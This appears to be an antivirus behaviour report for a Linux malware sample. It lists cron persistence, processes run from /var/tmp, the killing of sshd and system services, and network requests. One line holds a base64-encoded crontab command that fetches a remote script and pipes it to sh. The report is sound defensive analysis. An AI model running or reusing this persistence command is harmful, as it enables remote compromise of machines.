Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- bpymnttn
- crdsle
- brqvvt
Launches processes:
- sh -c /var/tmp/nveyqobx brnwev &
- sh -c /var/tmp/xteldtql &
- sh -c /var/tmp/wyrgffym crdsle &
- /var/tmp/wyrgffym crdsle
- sh -c echo '* * * * * echo -n \"d2dldCAtTyAtIGh0dHA6Ly8xNjQuMTMyLjE1OS41Ni9kcnVwYWwvei5zaHxzaA==\" | base64 -d |sh > /dev/null' | crontab -;
- crontab -
- sh -c /var/tmp/tdyvxcgi brrenp &
- /var/tmp/tdyvxcgi brrenp
- sh -c /var/tmp/qumiennt &
- sh -c /var/tmp/hwpyxibu brqvvt &
- /var/tmp/hwpyxibu brqvvt
Kills system processes:
- sshd
Kills the following processes:
- /bin/sh
- Unknown process with PID: 712
- run.sh
- bash
- (sd-pam)
- systemd
- agetty
- acpid
- systemd-udevd
- systemd-journal
- kworker/u2:0
- /var/tmp/wyrgffym
- /usr/bin/crontab
- kworker/u2:1
Performs operations with the file system:
Modifies file access rights:
- /var/tmp/nveyqobx
- /var/tmp/xteldtql
- /var/tmp/wyrgffym
- /var/spool/cron/crontabs/tmp.me9Njf
- /var/tmp/tdyvxcgi
- /var/tmp/qumiennt
- /var/tmp/hwpyxibu
Creates or modifies files:
- /var/tmp/wrw
- /var/tmp/nveyqobx
- /var/tmp/xteldtql
- /var/tmp/wyrgffym
- /var/spool/cron/crontabs/tmp.me9Njf
- /var/tmp/tdyvxcgi
- /var/tmp/qumiennt
- /var/tmp/hwpyxibu
Deletes files:
- /var/tmp/nveyqobx
- /var/tmp/xteldtql
- /var/tmp/wyrgffym
- /var/tmp/bin/atnd
- /var/tmp/tdyvxcgi
- /var/tmp/qumiennt
- /var/tmp/hwpyxibu
Locks files:
- /var/tmp/wrw
Network activity:
HTTP GET requests:
- 80.###.26.52/d/sss
- 80.###.26.52/d/lmmml